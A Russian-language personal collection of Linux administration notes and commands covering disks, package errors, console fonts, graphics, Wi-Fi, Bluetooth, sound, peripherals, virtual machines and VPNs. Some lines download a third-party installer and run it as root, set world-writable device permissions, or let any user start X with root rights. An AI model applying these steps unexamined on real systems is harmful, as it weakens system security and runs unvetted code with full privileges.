5 Rellocated Sector Count — количество переназначенных секторов. Если диск обнаружил ошибку чтения/записи он перенесет сектор в резерв. Чем меньше значение, тем лучше.

7 Seek Error Rate — частота ошибок при позиционировании блока магнитных головок. Чем их больше, тем хуже состояние механики или поверхности жёсткого диска.

196 Rellocation Event Count - число операций переназначения. Raw Value хранит общее число попыток переноса информации с переназначенных секторов в резервную область как успешных так и провальных.

sudo apt install safecopy
sudo safecopy /dev/sda /home/
lsblk -Df
sudo hdparm -i /dev/sdb1 | grep -i Fw
systemctl status fstrim.timer


работа с LVM томами

не пускает при авторизации (через lightdm)
залогинится в виртуальной консоли и удалить файлы
rm ~/.ICEauthority ~/.Xauthority

если сессия заблокирована
loginctl list-sessions
sudo loginctl unlock-session [id]

Регулировка яркости ноута в убунте, если отлетели Fn

Если пропало поле ввода для быстрого поиска в Synaptic

sudo aptitude install apt-xapian-index
sudo update-apt-xapian-index -vf

ошибки обновления и установки пакетов
Как исправить ошибку «E: Sub-process /usr/bin/dpkg returned an error code (2)»
Для начала попробуйте выполнить следующие команды:
sudo rm /var/lib/dpkg/available
sudo touch /var/lib/dpkg/available
sudo sh -c 'for i in /var/lib/apt/lists/*_Packages; do dpkg --merge-avail "$i"; done'

И вновь повторите операцию (установку или обновление), которая вызывала ошибку.
Если предыдущие команды не помогли, то попробуйте следующие:

sudo dpkg --configure -a
sudo apt -f install
sudo apt clean
sudo apt update && sudo apt-get upgrade

Если и это не помогло, то присмотритесь внимательно к ошибке — упоминается ли в ней имя какой-либо программы (пакета)? Если да то перейдите в директорию /var/lib/dpkg/info
cd /var/lib/dpkg/info

Теперь удалите файлы ПАКЕТА, который вызывает ошибку:
sudo rm ПАКЕТ*

Вновь запускаем команду исправления:
sudo apt install -f && sudo dpkg --configure -a

Затем устанавливаем пакет по новой.
Если проблема по-прежнему осталась, то запускаем команду в режиме отладки и смотрим на выводимые сообщения:
sudo DEBCONF_DEBUG=developer apt install -f

"Не удалось получить доступ к файлу блокировки /var/lib/dpkg/lock"
sudo apt install psmisc (нужно установить ДО этого случая)
sudo fuser -vki /var/lib/dpkg/lock

                     ПОЛЬЗ-ЛЬ    PID ДОСТУП КОМАНДА
/var/lib/dpkg/lock:  root       4581 F.... dpkg
Завершить процесс 4581? (y/N) Y



кракозябры в консоли

sudo dpkg-reconfigure console-setup
выбрать Terminus 8x16
https://mnorin.com/console-cyrillic-i-systemd-v-debian.html
Ubuntu. Русификация консоли в 2016 году

помогло
https://www.linux.org.ru/forum/general/13535609

nano /etc/systemd/system/multi-user.target.wants/console-setup.service
Изменить

ExecStart=/lib/console-setup/console-setup.sh
на
ExecStart=/bin/setupcon

\u043d\u0430\u0439\u0434\u0435\u043d\u0430 в консоли

https://forum.ubuntu.ru/index.php?topic=301157.0
mcedit /etc/default/console-setup

конфиг
ACTIVE_CONSOLES="/dev/tty[1-6]"

CHARMAP="UTF-8"

CODESET="CyrSlav"
#FONTFACE="TerminusBold"
FONTFACE="VGA"
FONTSIZE="8x16"

VIDEOMODE=


apt-get install language-pack-ru
locale
locale -a
localectl
vi /etc/locale.gen
locale-gen

mcedit /etc/default/locale

конфиг
LANG="ru_RU.UTF-8"
LANGUAGE="ru:en"


испробованное

Русификация

dpkg-reconfigure locales
dpkg-reconfigure console-setup
dpkg-reconfigure keyboard-configuration

«Cyrillic — Slavic languages (also Bosnian and Serbian Latin)»

набрать в консоле cyr

в /etc/rc.local написать setupcon в отдельной строке до exit 0

http://help.ubuntu.ru/wiki/russian_font_in_console
echo 'FRAMEBUFFER=Y' >> /etc/initramfs-tools/initramfs.conf

_________________________________

sudo nano /etc/crontab
@reboot root setupcon --force

apt install console-cyrillic
-------------------------------------
https://help.ubuntu.ru/wiki/russian_font_in_console
https://mycyberuniverse.com/ru/linux/krakozyabryi-v-konsoli-ubuntu-debian.html


кракозябры в zip-архивах debian и ubuntu
file-roller кракозябры лечение:
sudo add-apt-repository ppa:hanipouspilot/file-rolle

зависание fvwm-menu-desktop во время создания меню и сбой с исключением python при использовании --get-menus
ValueError: Name node can't be used with "'True'" constant
https://gitlab.freedesktop.org/xdg/pyxdg/-/commit/9b913229ace838958e51a16cabc41905a2460f7b
Начиная с Python 3.8.4, когда ast.Name экземпляр создается с помощью True, Falseи None, возникает ошибка ValueError [1][2]

xfce блокировка экрана нельзя ввести пароль
https://bugzilla.redhat.com/show_bug.cgi?id=1955993
В сеансе Xfce одновременное использование xscreensaver и xfce4-screensaver может привести к тому, что экран блокировки xfce4-screensaver не будет принимать ввод пароля.
нужно удалить что нибудь из них

xfce при нажатии на Terminal вызывается окно с хренью, вместо терминала
виноват exo-open --launch TerminalEmulator а точнее zutty, который вызывался им
sudo update-alternatives --config x-terminal-emulator

криво стартует teamviewer
sudo systemctl stop teamviewerd.service
sudo systemctl mask teamviewerd.service
(впрочем mask не нужно: достаточно перезапустить демона)

не запустить xinit в tty
usermod -aG audio,video,tty,input пользователь

sudo dpkg-reconfigure xserver-xorg-legacy
выбираем "кто угодно" (если надо запуск через xrdp), или пользователь

https://wiki.archlinux.org/title/Xorg_(Русский)
чтобы запустить X через xinit
vi /etc/X11/Xwrapper.config
allowed_users=anybody
needs_root_rights=yes

после xrdp сессии
если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа

ругается JAVA
The JAVA_HOME environment variable is not defined
лечение в файл запуска программы или ~/.profile
export JAVA_HOME=$(readlink -f $(dirname $(readlink -f $(which java) ))/../)

посмотреть что ещё в автозагрузке
systemctl list-units --type service --all – отображение статуса всех сервисов
Шпаргалка по управлению сервисами CentOS 7 с systemd

тормозит запуск консоли

1) посмотреть что в
~/.bashrc
~/.profile
/etc/profile
/etc/bash.bashrc

2) терминал может тормозить если машина не прописана у себя в /etc/hosts, /etc/hostname

3) сделать tail -f ~/.xsession-errors, ошибки убрать

4) если после установки nvm будет тормозить запуск терминала (Node.js Version Control), то нужно закоментировать в .bashrc строки

export NVM_DIR="/home/пользователь/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" # This loads nvm

и снимать коментарий только когда нужна node

5) если после установки pyenv подтормаживает, то заккоментить в .bashrc строки

export PATH="$HOME/.pyenv/bin:$PATH"
eval "$(pyenv init -)"
eval "$(pyenv virtualenv-init -)"

снять, когда нужен pyenv и перезапустить оболочку
$ exec "$SHELL"

6) если это не локальная машина, то sudo apt-get install conspy


ругань dmesg

dmesg | egrep -i --color 'errors|critical|failed'

Error: Driver 'pcspkr' is already registered, aborting
отключить загрузку драйвера системного динамика PC Speaker.
Для этого необходимо добавить запрет на загрузку в файл /etc/modprobe.d/fbdev-blacklist.conf:
blacklist pcspkr
либо можно тоже самое сделать в файле /etc/modprobe.d/blacklist:
blacklist snd-pcsp
При следующей загрузке, данного сообщения больше не будет.

Error “User limit of inotify watches reached”
you system is not configured with enough inotify watches, this means we will be unable to track file system changes, and some features may not work. We can attemp to increase the limit from 8192 to 65536 for you. the requires root permission
https://stackoverflow.com/questions/47075661/error-user-limit-of-inotify-watches-reached-extreact-build
cat /proc/sys/fs/inotify/max_user_watches
If you are running Debian, RedHat, or another similar Linux distribution, run the following in a terminal:
echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p
If you are running ArchLinux, run the following command instead (see here for why):
echo fs.inotify.max_user_watches=524288 | sudo tee /etc/sysctl.d/40-max-user-watches.conf && sudo sysctl --system

Программы, синхронизирующие файлы, такие как dropbox, git и т. Д., Используют inotify, чтобы замечать изменения в файловой системе. Предел можно увидеть по -

cat /proc/sys/fs/inotify/max_user_watches
Если этого предела недостаточно для отслеживания всех файлов внутри каталога, его необходимо увеличить, чтобы Listen работал правильно.

Вы можете установить новый временный лимит с помощью:

$ sudo sysctl fs.inotify.max_user_watches=524288
$ sudo sysctl -p
Если вы хотите сделать свой лимит постоянным, используйте:

$ echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf
$ sudo sysctl -p
Вам также может потребоваться обратить внимание на значения max_queued_events и max_user_instances, если Listen продолжает жаловаться.

root не умеет в sbin и tab
vim /root/.profile



/root/.bashrc




комбинация клавиш, которая позволяет обратиться напрямую в ядро, минуя всяческие программы и оболочки

Alt + SysRq + B. Равнозначно нажатию кнопки Reset. Нежелательно, ибо высока вероятность потерять несохранённые данные.
https://eax.me/linux-kernel-debug/
sudo sh -c 'echo b > /proc/sysrq-trigger' # reboot
Alt + SysRq + O. Выключает систему корректным образом.
Alt + SysRq + S. Синхронизует систему. Если выполнить перед первой командой, то можно не бояться за данные.
Alt + SysRq + K. Перезагружвет графическую оболочку. Выполнять, если всё зависло и не отвечает.
Alt + SysRq + R. Если не хочешь перезагружать иксы, отвиснет твою мышку и клавиатуру.
Alt + SysRq + H. Выводит вышеуказанные и все прочие доступные команды.


моник
https://www.nvidia.com/en-us/drivers/unix/legacy-gpu/

X11
ls /dev/dri/
ls -l /sys/class/drm/renderD*/device/driver
ls -l /sys/class/drm/card0/device/driver

libinput
https://www.linux.org.ru/forum/general/13866425
Как запретить X-серверу использовать для обработки событий ввода драйвер libinput?
Или как указать X-серверу использовать для обработки событий ввода драйвер libinput?



ls /dev/dri/
ls -l /sys/class/drm/renderD*/device/driver
ls -l /sys/class/drm/card0/device/driver

если
UnloadModule: "libinput"
ls -l /sys/class/drm/card0/device/driver


HDR
Как включить 10-битную глубину цвета в Linux (и нужно ли включать 30-битный цвет)
определить количество цветов (бит на пиксель) в X11
xwininfo -root | grep Depth

поддерживаемые значения разрядности для корневого окна:
xdpyinfo | grep depths

Для включения 30-битной глубины цвета в Linux достаточно в конфигурационный файл в директории /etc/X11/xorg.conf.d/ добавить строку:
"DefaultDepth 30"

для интегрированной графики Intel или AMD, создайте файл /etc/X11/xorg.conf.d/30-screensetup.conf:
sudo vim /etc/X11/xorg.conf.d/30-screensetup.conf




Для графики NVIDIA создайте файл xorg.conf следующей командой:
sudo nvidia-xconfig
Откройте файл xorg.conf командой
sudo vim /etc/X11/xorg.conf
Пролистните вниз файла и найдите цифру '24' в разделе «screen». Замените все найденные '24' на '30'.
Сохраните файл и перезагрузите компьютер

xwininfo -root | grep Depth
Теперь глубина цвета равноа 30:
Depth: 30

xdpyinfo | grep depths
Вместо 7, теперь показано 8 поддерживаемых значений глубины цвета, причём используется 30-битная глубина:
depths (8): 30, 1, 4, 8, 15, 16, 24, 32

Google Chrome серый при включении 10-битного цвета
chrome://flags
флаг «Force color profile» «Display P3 D65»

На что нужно обращать внимание при покупке телевизора (монитора) для HDR

мыльные шрифты
https://tehnojam.pro/category/software/delaem-krasivye-shrifty-s-novym-freetype2-v-linux.html
sudo nano /etc/profile.d/freetype2.sh
Раскоментируем и выставляем: truetype:interpreter-version=38
("Infinality" subpixel mode)

тиринг

sudo mkdir -p /etc/X11/xorg.conf.d/
sudo nano /etc/X11/xorg.conf.d/20-intel.conf

вставить текст в файл
Section "Device"
   Identifier  "Intel Graphics"
   Driver      "intel"
   Option      "TearFree"    "true"
EndSection



Debian. Два монитора.

сенсорный экран
калибровка сенсорного экрана raspberry pi и поворот экрана
Сенсорный экран перевернут
DIALOGUE INC PenMount USB неправильная калибровка сенсорного экрана
Как установить и откалибровать сенсорный экран PenMount в IVI Tizen Linux?

cat /sys/class/input/event*/device/name
xinput_calibrator --list
xinput --list
xinput_calibrator -v --device номер_устройства

перевернуть на 180
Option "TransformationMatrix" "-1 0 1 0 -1 1 0 0 1"

вместо установки пропиетарщины или удаления xserver-xorg-input-libinput достаточно добавить Driver "evdev" в
/etc/X11/xorg.conf.d/99-calibration.conf




lenovo
Вход в биос (UEFI) по HDMI
Нужно изменить в биос режим загрузки компьютера Fast Boot на Legasy Support, выйти с сохранением настроек

чтобы lenovo не включался при поднятии крышки ноутбука
во вкладке в "BIOS Setup" в меню "Configuration" пункт "Flip to Boot" изменить на "Disabled".

разрешение экрана в tty


wifi & bluetooth

узнаём имя беспроводного интерфейса:
iw dev
активируем, если погашен
sudo ip link set ИНТЕРФЕЙС up
сканирование сетей:
sudo iw dev ИНТЕРФЕЙС scan -u

https://wiki.archlinux.org/title/Bluetooth_(Русский)
https://sites.google.com/site/grabliubuntu/networking/wi-fi-nastrojki
https://debianforum.ru/index.php?topic=5874.0
https://wiki.debian.org/rtl819x
http://www.adminia.ru/nastroyka-wi-fi-v-linux-debian/
Настраиваем Bluetooth в Linux
Настройка Bluetooth в Linux
https://discussion.fedoraproject.org/t/bluethooth-ramdomly-fails/74804
https://askubuntu.com/questions/1168123/how-do-i-get-my-bluetooth-device-working
Памятка по Wi-Fi в Linux: подсказки и решение проблем
Виртуальные Wi-Fi интерфейсы для одновременного использования Wi-Fi адаптера в разных режимах
Как сделать Wi-Fi без роутера в Linux

iwlist wlan0 scan
aptitude search firmware
apt-get install firmware-linux-free firmware-linux-nonfree firmware-realtek wireless-tools broadcom-sta-dkms wpasupplicant
в биосе включить wifi ?
если слетел wi fi
sudo service network-manager stop
sudo rm /var/lib/NetworkManager/NetworkManager.state
sudo service network-manager start
reboot

bluetooth
https://wireless.wiki.kernel.org/en/users/drivers
lsusb -t
rfkill
hciconfig
hciconfig -a
hciconfig -a hci0
lspci | grep Network
dmesg | grep Bluetooth
sudo apt install rtl8821ce-dkms
apt install bluetooth pulseaudio-module-bluetooth bluez-tools blueman

если blueman-manager не видит устройств:
sudo rfkill block bluetooth;sudo rfkill unblock bluetooth;sudo systemctl restart bluetooth.service

lsusb
lspci -k
hcitool dev
lsmod | grep -i blue
journalctl -f
journalctl --grep=hci0
journalctl -u bluetooth
bluetoothctl show
systemctl restart bluetooth
bluetoothctl
scan on
blueman-manager
btmon
hcitool scan
hciconfig hci0 piscan
hciconfig -a
hciconfig hci0 up
hciconfig hci0 name
bluetoothctl list
hcitool dev
hciconfig hci0 reset
invoke-rc.d bluetooth restart
rfkill unblock bluetooth
modprobe --show-depends bluetooth
hostnamectl

modprobe -r btusb && modprobe btusb
sudo btmon -w /dev/shm/trace.log

https://gist.github.com/andrebrait/961cefe730f4a2c41f57911e6195e444
Disable Autosuspend for USB Bluetooth dongles
echo "options btusb enable_autosuspend=n" | sudo tee /etc/modprobe.d/btusb_disable_autosuspend.conf
sudo update-initramfs -u
sudo modprobe -r btusb
sudo modprobe btusb
sudo systemctl restart bluetooth
sudo rfkill block bluetooth;sudo rfkill unblock bluetooth;sudo systemctl restart bluetooth.service

modprobe -r btusb && modprobe btusb
systemctl restart bluetooth
hciconfig hci0 reset


[Testing - Bookworm] Bluetooth problems - Failed to load Intel firmware file intel/ibt-0040-0041.sfi

$ hcitool dev
## to see if the Device was detected

$ hcitool scan
## to see if the Device is able to do anything, got an error:
Device is not available: No such device

# hciconfig hci0 up
## to power on the device, got an error:
Can't init device hci0: Device or resource busy (16)

# hciconfig hci0 piscan
Can't set scan mode on hci0: Network is down (100)

# hciconfig hci0 reset
Can't init device hci0: Device or resource busy (16)

https://anduin.linuxfromscratch.org/sources/linux-firmware/intel/
find /usr -name 'ibt-0040-0041.sfi'

сработало
git clone https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git
cd linux-firmware
sudo make install
если ругается на дубликаты
sudo ./copy-firmware.sh /lib/firmware --ignore-duplicates
update-initramfs -uk all

не видит usb wifi RTL8188GU

установить ядро ​​​​Linux 6.3 со встроенной поддержкой RTL Wi-Fi
https://xanmod.org/
Help installing driver of RTL8188GU USB wifi adapter
Как установить последние версии ядра Linux в Debian и основанные на Debian дистрибутивы

wget -qO - https://dl.xanmod.org/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/xanmod-archive-keyring.gpg

echo 'deb [signed-by=/usr/share/keyrings/xanmod-archive-keyring.gpg] http://deb.xanmod.org releases main' | sudo tee /etc/apt/sources.list.d/xanmod-release.list

sudo apt update && sudo apt install linux-xanmod-x64v2 вам следует изменить номер версии после v на номер вашего процессора.
глянь сюда https://en.wikipedia.org/wiki/List_of_Intel_CPU_microarchitectures

перезагрузить
Теперь ваш Wi-Fi должен обязательно работать. Можно попробовать и другие методы, но этот обязательно сработает.


nmcli
iwconfig
lsusb -t
lspci -knn | grep Net -A3; rfkill list

https://launchpad.net/~kelebek333/+archive/ubuntu/kablosuz

https://devicetests.com/fix-rtl8188gu-wireless-usb-adapter-ubuntu
sudo apt-get install build-essential git dkms
git clone https://github.com/McMCCRU/rtl8188gu.git
cd rtl8188gu
make
sudo make install

проверка после ребута



после каждого обновления ядра следует переустанавливать rtl8188gu

nmcli dev wifi rescan
nmcli dev wifi
nmcli -f ALL dev wifi
nmcli -m multiline -f ALL dev wifi
nmcli -t -f ALL dev wifi

iwconfig
iw dev ИНТЕРФЕЙС scan

iwlist scan

https://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?t=2747
https://onedev.net/post/916
lsusb -vd 0bda:b711

Переключение режима USB модема из Mаss Storage в GSM modem в Linux
usb_modeswitch -W -v 0bda -p b711 -H

перезагрузить usb
sudo /usr/sbin/usb_modeswitch -W -v 0bda -p b711 -R

Загрузить драйвер модема и detach накопитель
sudo modprobe usbserial vendor=0x0bda product=0xb711
--------------------------------------------------------

https://losst.ru/nasrojka-wifi-v-ubuntu
https://wiki.debian.org/rtl819x
https://wireless.wiki.kernel.org/en/users/drivers
rfkill unblock wlan

nano /etc/apt/sources.list
deb http://httpredir.debian.org/debian/ stretch main contrib non-free
apt-get update && apt-get install firmware-realtek
apt install net-tools broadcom-sta-dkms

lspci | grep Network
iwlist scan

systemctl restart NetworkManager


COM порт в debian

Звук
pactl list sinks

lspci -v
lspci -k | grep -i -A2 "multimedia\|audio"
cat /proc/asound/cards
cat /proc/asound/card*/codec* |grep Codec
cat /proc/asound/modules
cat /proc/asound/card0/id
cat /proc/asound/pcm
arecord -l
aplay -L

https://www.alsa-project.org/main/index.php/SoundcardTesting
http://avreg.net/manual_applications_audio2tcp.html
arecord -vv -fdat foo.wav # или просто arecord foo.wav
aplay -vv foo.wav # aplay foo.wav

послушать как поёт ядро
cat /boot/vmlinuz-4.15.0-32-generic | aplay

вариант
chmod 755 /dev/dsp*
chmod 755 /dev/audio*
chmod 755 /dev/mixer*
chmod 777 /dev/snd/*
но лучше
usermod -a -G audio,video,disk,cdrom,floppy,plugdev,dialout,sambashare,lpadmin,scanner,sudo,shutdown пользователь
или
gpasswd -a пользователь audio

http://unixforum.org/index.php?showtopic=139114
В консоли alsamixer - и посмотреть, включен ли звук (кнопка M - mute), по умолчанию у меня Дебиан звук отключает.

Если включен, а звука снова нет (или звук появляется, но после перезагрузки снова mute), то я бы установил pavucontrol pavumeter и посмотрел в "Регулятор громкости Pulseaudio" вкладка "Конфигурация" - какие там есть устройства звука. Оставил бы одно, нужное, остальные бы отключил. Обычно это решает все проблемы.

решилось:
apt-get purge pulse*
apt-get autoremove
apt-get install apulse

https://launchpad.net/~kirillshkrogalev/+archive/ubuntu/apulse
http://linuxnow.ru/view.php?id=115
http://computing.help.inf.ed.ac.uk/alsa-mixer
https://wiki.archlinux.org/index.php/Advanced_Linux_Sound_Architecture_(Русский)
http://linuxoidblog.blogspot.ru/2015/06/pulseaudio.html

systemctl status alsa-state alsa-restore alsa-store
alsactl store

не сохраняются настройки alsamixer
виноват pulseaudio, рыть тут /usr/share/pulseaudio/alsa-mixer/paths/

если pulsaudio захлёбывается
https://2ch.hk/s/res/2424741.html#2427317
cp /etc/pulse/daemon.conf /etc/pulse/daemon.conf_old
sudo nano /etc/pulse/daemon.conf

И добавляем в конец:
resample-method = src-sinc-best-quality
default-sample-format = s24le
default-sample-rate = 96000
После чего рестартуем PuleAudio:
pulseaudio -k
pulseaudio --start

InitAudi: Cannot open OSS audio device /dev/dsp
sudo apt-get install pulseaudio
sudo apt-get install libpulse-dev
sudo apt-get install osspd

wget -qO - http://radio.goha.ru:8000/grindfm.ogg |ffmpeg -i - -f u8 -ac 1 -ar 8000 -> /dev/dsp

https://www.opennet.ru/openforum/vsluhforumID3/120480.html#52
pactl list sinks
device.buffering.buffer_size (параметр)
https://wiki.archlinux.org/index.php/PulseAudio_(Русский)/Troubleshooting_(Русский)#Глюки,_пропуски_или_потрескивания
Не работает микрофон в Linux (РЕШЕНО)


Чем слушать музон

apt-cache search audio player
apt-cache search video player

deb http://www.deb-multimedia.org jessie main non-free
deb-src http://www.deb-multimedia.org jessie main non-free
apt-get install deb-multimedia-keyring

FFmpeg - установка на Debian GNU/Linux 8 (Jessie)
Восстановление видео файлов
ffmpeg -y -i input.avi -codec:v copy -codec:a copy output.avi

видеоплеер Parole не показывает видео

MPD решил не ставить (захотелось чего полегче)
https://uzverss.livejournal.com/tag/mpd
поставил moc
http://help.ubuntu.ru/wiki/mocp
http://tdkare.ru/sysadmin/index.php/Moc
sudo apt-get install moc moc-ffmpeg-plugin
(Выбрать тему mocp можно комбинацией клавиш Shift+T)
и управлялку в трее
https://bitbucket.org/blaze/exo
apt-key adv --recv-keys --keyserver pgp.mit.edu 1A723A3BC08FD054
удалил кракозябры в плейлисте
https://uzverss.livejournal.com/75287.html

sudo apt-get install python-mutagen
find ./ -iname "*.mp3" -print0 | xargs -0 mid3iconv -eCP1251 --remove-v1 -d

FFmpeg - установка на Debian GNU/Linux 8 (Jessie)


звонки по телефону
apt-get install sflphone-gnome
или
http://www.zoiper.com/en/voip-softphone/download/zoiper3

принтер
1) печатаю отчёт о конфигурации
2) sudo apt install system-config-printer
3) подключаюсь по wifi к сети принтера, для этого нужен "Секретный код" из отчёта
4) вхожу на вебморду и подключаю принтер к локальной wifi сети, настраиваю Сетевой интерфейс SSID пароль и тд
5) захожу в браузере на вебморду по сетевому адресу, если в firefox возникает ошибка SSL_ERROR_UNSUPPORTED_VERSION то в about:config у security.tls.version.enable-deprecated поставить true


Сканер
http://www.sane-project.org/sane-mfgs.html
http://tdkare.ru/sysadmin/index.php/Сканирование_в_linux

sudo apt-get install sane-utils xsane
sudo gpasswd -a пользователь scanner

перелогиниться и проверить
groups

sudo echo "айпи_адрес_сканера" >> /etc/sane.d/net.conf

nano /etc/sane.d/dll.conf добавить net если там нету

проверить доступность сканера
scanimage -Lq


Настройка самбы

Монтирование устройств Android в Ubuntu
https://www.opennet.ru/tips/2724_mtp_android_mount_linux_disk.shtml

тыкаешь правой кнопкой на раб. столе - настройки рабочего стола - закладка значки
включить показ иконок подключенных устройств на рабочем столе

sudo apt install libmtp9 fuse gvfs gvfs-fuse gvfs-backends gmtp mtp-tools jmtpfs

sudo apt-get install go-mtpfs
Для монитрования раздела вручную следует использовать команду:
go-mtpfs /media/MyAndroid

Для отмонтирования:
fusermount -u /media/MyAndroid

Определение устройства:
mtp-detect

графический клиент
sudo apt-get install gmtp


Ждущий режим
apt-get install acpi-support

sudo nano /etc/default/grub
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz resume=/dev/sdaX"
#(где /dev/sdaX - swap, fdisk -l его покажет)
sudo grub-mkconfig -o /boot/grub/grub.cfg

https://wiki.archlinux.org/index.php/Pm-utils

https://wiki.archlinux.org/index.php/Systemd_(Русский)
systemctl poweroff
systemctl reboot
systemctl suspend
systemctl hibernate
systemctl hybrid-sleep

Почему в Linux отсутствует режим Гибернация (Hibernate)
Для того, чтобы появилась опция Гибернация (Hibernate) необходимо создать файл подкачки или увеличить его размер, сделав равным или большим, чем оперативная память компьютера.


Частая парковка жёсткого диска
sudo hdparm -S 0 -B 254 /dev/sda

https://uzverss.livejournal.com/76004.html


настройка Thunar

вот ещё годный файловик

https://doublecmd.sourceforge.io/

Пересобираем mc с поддержкой samba

виртуалка
sudo apt-get install virt-manager
в зависимости что в cat /etc/group
sudo usermod -aG libvirtd `id -un`
sudo usermod -aG libvirt `id -un`
sudo virsh net-start default
http://download.virtualbox.org/virtualbox/
sudo apt install qemu-system-x86

Особенности при установки qemu в Debian 11

https://propk.ru/virt-manager-debian-10/
apt -y install qemu libvirt-daemon bridge-utils virtinst libvirt-daemon-system
apt -y install libguestfs-tools libosinfo-bin qemu-system virt-manager
виртуальная сеть не активна ‘default’.
sudo virsh net-list --all
sudo net-start default
sudo virsh net-destroy default
https://dondub.com/2023/01/zapusk-kvm-na-debian-11/
virsh net-autostart default


автодополнение c sudo
apt install bash-completion

vi /root/.bashrc





устанавливаем быстрый поиск в synaptic
sudo apt-get install apt-xapian-index
sudo update-apt-xapian-index -vf

поскольку в Debian 8 /etc/enviroment пуст и смысла писать туда нет,
то для того чтобы в xfce4 добавить в $PATH каталог $HOME/bin нужно:
sudo nano /etc/xdg/xfce4/xinitrc

после
#!/bin/sh

вписать



http://superuser.com/questions/597291/xfce-lightdm-startup-configuration-files

хотя проще и полезней сделать так:





gksu
https://askubuntu.com/questions/1042344/i-need-an-equivalent-of-gksu-in-18-04
https://www.linux.org.ru/forum/general/14219796
https://www.linux.org.ru/forum/development/14138707
поскольку gksu теперь "устаревший" то используем pkexec, qsudo (надо собирать) или делаем скрипты

#!/bin/sh
bash -c 'sudo -i /каталог/программа;' $@

#!/bin/sh
exec su-to-root -X -c x-terminal-emulator -e sh -c /каталог/программа

#!/bin/sh
zenity --title="zenity sudo" --password | sudo -S /каталог/программа $@

пока лучший вариант:
#!/bin/sh
alias gksu='pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY'
gksu $HOME/lib/каталог/программа $@



настройка qt5
/etc/X11/Xsession.d/56xubuntu-session
# Set default environment vars in Xubuntu
if [ "$DESKTOP_SESSION" = xubuntu ]; then
    # Disable GTK 3.16 overlay scrollbars
    export GTK_OVERLAY_SCROLLING=0
    # QT5 apps to use GTK style
    export QT_QPA_PLATFORMTHEME=gtk2
    # Workaround clutter issue (LP: #1462445)
    export CLUTTER_BACKEND=x11
fi

в ubuntu 18.04
sudo apt install qt5ct
sudo echo "export QT_QPA_PLATFORMTHEME=qt5ct" >> /etc/profile
source /etc/profile
или
sudo echo "export QT_QPA_PLATFORMTHEME=qt5ct" >> /etc/environment
source /etc/profile
qt5ct

https://launchpad.net/~nilarimogard/+archive/ubuntu/webupd8/+packages?field.name_filter=qt5ct&field.status_filter=published&field.series_filter=
устанавливаем версию, в которой совпадает версия пакета libqt5core5a с нашим дистром

для debian 8 нужно над пакетом поработать: распаковать, удалить в control зависимость qtbase-abi и собрать заново

$ sudo chown -R root:root qt5ct_0.20-1-webupd8-trusty2_i386
$ fakeroot dpkg-deb --build qt5ct_0.20-1-webupd8-trusty2_i386

проверить сборку
$ lintian qt5ct_0.20-1-webupd8-trusty2_i386.deb

результат для 32bit и для 64bit

и поставить перед установкой humanity-icon-theme


раскладка клавы
/etc/default/keyboard
XKBMODEL="pc105"
XKBLAYOUT="us,ru"
XKBVARIANT=","
XKBOPTIONS="grp:alt_shift_toggle,grp_led:scroll"
BACKSPACE="guess"


рецепт по шрифтам
http://linuxoidblog.blogspot.ru/2015/06/debian-8-jessie.html

прочие твики
http://linuxoidblog.blogspot.ru/2015/12/blog-post_17.html

вебкамера
apt install v4l2ucp
apt install --no-install-recommends camorama
apt install --no-install-recommends cheese
guvcview -d /dev/video0
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0 -fps 30
ll /dev/video1
gpasswd -a пользователь video
fuser /dev/video0
chown root:video /dev/video1
chmod g+rw /dev/video1
hwinfo --usb
lsusb
ls -l /dev/ |grep video

ip камера
Аудит безопасности IP камер
Анализ и разбивка составных файлов (прошивки, образы дисков)

https://github.com/prsyahmi/v380
https://github.com/Arkady23/V380-Web
V380 Camera RTSP/HTTP/Telnet enable / Включение RTSP/HTTP/Telnet на камере V380
https://4pda.to/forum/index.php?showtopic=759619&st=460#entry106980824



скриншот
скриншоты в иксах и консоли, запись терминальной сессии, разрешение экрана в tty
sleep 5 && import -window root img3.png


подходящий редактор
Настройка Sublime Text для работы через прокси
делаем vim удобным

свежий php

часть рецептов можно взять отсюда:
ubuntu 16.04 и напильник

браузер из коробки свежий, вот и плагины к нему, но иногда хочется странного

Настройка VPN
uzverss Бесплатный VPN сервер, клиент, и тд
http://www.vpngate.net/en/ список бесплатных VPN серверов
команды
$ wget https://git.io/vpn -O openvpn-install.sh
$ sudo apt install openvpn
$ sudo bash openvpn-install.sh
$ sudo openvpn --config /etc/openvpn/client.ovpn
$ sudo service openvpn start
$ sudo /etc/init.d/openvpn start

https://unix.stackexchange.com/questions/292091/ubuntu-server-16-04-openvpn-seems-not-to-start-no-logs-get-written
systemctl start openvpn@server.service
systemctl enable openvpn@server.service


поддержка L2TP IPSEC VPN
работающий рецепт, под debian 8
https://soeasytomakeitwork.wordpress.com/2014/05/02/set-up-a-l2tpipsec-vpn-connection-on-ubuntu-desktop/

работающий рецепт, под ubuntu 18.04
https://20notes.net/linux/setup-l2tp-over-ipsec-client-on-ubuntu-18-04-using-gnome/
https://help.vpntunnel.com/support/solutions/articles/5000782608-vpntunnel-l2tp-installation-guide-for-ubuntu-18-04-
https://www.ekzorchik.ru/2018/08/how-to-configure-l2tp-from-under-ubuntu-bionic-desktop/

испробованное
IPSec: Туннель между Mikrotik и Openswan
какие то траблы
http://www.flex.ru/instr/linuxman.html
http://www.jasonernst.com/2016/06/21/l2tp-ipsec-vpn-on-ubuntu-16-04/
http://www.cemada.net/ubuntu-16-04-l2tp-ipsec.php
